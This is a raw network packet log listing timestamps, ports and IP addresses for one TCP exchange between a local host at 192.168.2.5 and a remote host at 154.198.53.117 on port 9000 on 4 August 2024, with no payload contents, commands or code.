Aug 4, 2024 12:55:03.981107950 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981117964 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:03.981122017 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981137991 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981148958 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:03.981153965 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981168032 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981182098 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981184006 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:03.981197119 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981210947 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981235027 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:03.981254101 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:03.981822014 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981837988 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981853008 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981867075 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:03.981868029 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981883049 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981895924 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:03.981899023 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981914043 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981929064 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981930971 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:03.981942892 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981959105 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981971025 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:03.981973886 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981988907 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:03.981990099 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:03.982016087 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.028139114 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.052325010 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052349091 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052366018 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052417040 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052541018 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.052541018 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.052558899 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052592993 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052607059 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052619934 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052644014 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.052689075 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.052735090 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052747965 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052798986 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.052841902 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052855015 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.052896976 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.053062916 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053076982 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053113937 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.053155899 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053168058 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053211927 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.053330898 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053354025 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053401947 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.053492069 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053503990 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053548098 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.053558111 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053581953 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053628922 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.053741932 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053755999 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.053805113 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.054012060 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054024935 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054039955 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054055929 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054068089 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.054104090 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.054136992 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054228067 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054241896 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054255962 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054276943 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.054305077 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.054394960 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054408073 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054446936 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.054544926 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054630995 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054645061 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054657936 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054682016 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.054708958 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.054775000 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054800034 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054846048 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.054970026 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.054982901 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055027008 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.055056095 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055114985 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055128098 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055141926 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055160999 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.055187941 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.055206060 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055252075 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055311918 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.055354118 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055370092 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055413961 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.055788040 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055813074 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055825949 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055860043 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.055885077 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055898905 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055912971 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055934906 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.055943012 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.055958986 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.056021929 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056037903 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056051970 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056080103 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.056108952 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.056126118 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056140900 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056179047 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.056226015 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056238890 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056282043 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.056380987 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056402922 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056453943 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.056507111 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056529999 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056585073 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.056853056 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056899071 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056915045 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056929111 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056950092 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.056958914 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.056974888 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.056989908 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057039022 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.057394028 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057482958 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057496071 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057519913 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057532072 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.057533979 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057557106 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057564974 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.057578087 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057590008 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057600975 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.057621002 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057635069 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057641029 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.057679892 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.057723999 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057735920 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057777882 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.057852030 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057864904 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057898998 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.057974100 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.057996988 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058042049 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.058083057 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058095932 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058135033 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.058227062 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058249950 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058295965 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.058352947 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058365107 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058403015 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.058490992 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058558941 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058603048 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.058645010 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058660984 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058700085 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058701038 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.058712959 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.058758974 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.059024096 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059075117 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059089899 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059125900 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.059140921 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059154034 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059195042 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059195995 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.059207916 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059250116 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.059356928 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059370041 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059401989 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.059443951 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059456110 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059487104 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.059607029 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059619904 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059664965 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.059668064 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059716940 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.059746981 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059829950 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059881926 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.059921026 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059933901 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059947968 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.059971094 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.060106993 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.060120106 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.060157061 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.060198069 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.060209990 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.060249090 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.060463905 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.060519934 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.060532093 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.060547113 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.060589075 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.060952902 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061006069 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061022043 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061055899 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.061100960 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061117887 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061155081 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.061162949 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061203003 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.061223030 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061235905 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061254025 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061281919 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.061283112 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061326981 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.061373949 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061429977 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061497927 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.061538935 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061553001 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061597109 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.061722040 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061733961 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061770916 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.061853886 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061877966 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061925888 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.061959028 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.061973095 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062010050 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062012911 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.062028885 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062072039 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.062205076 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062230110 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062243938 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062273026 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.062330008 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062380075 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.062398911 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062555075 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062608004 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.062629938 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062642097 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062655926 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062686920 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.062725067 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062737942 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062777996 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.062885046 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062897921 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.062937021 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.063132048 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.063157082 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.063169003 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.063182116 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.063213110 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.063225031 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.063237906 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.063250065 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.063280106 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.063332081 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.063345909 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.063385010 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.139158010 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139214993 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139230013 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139319897 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139334917 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139352083 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.139358997 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139373064 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139457941 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.139715910 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139729023 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139743090 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139772892 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.139797926 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139796972 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.139812946 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139856100 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.139859915 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139875889 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139925003 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.139966011 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.139978886 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.140017033 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.140513897 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.140551090 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.140572071 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.140605927 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.140701056 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.140716076 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.140731096 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.140744925 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.140749931 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.140760899 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.140773058 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.140806913 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.141232014 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.141295910 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.141316891 CEST	9000	49707	154.198.53.117	192.168.2.5
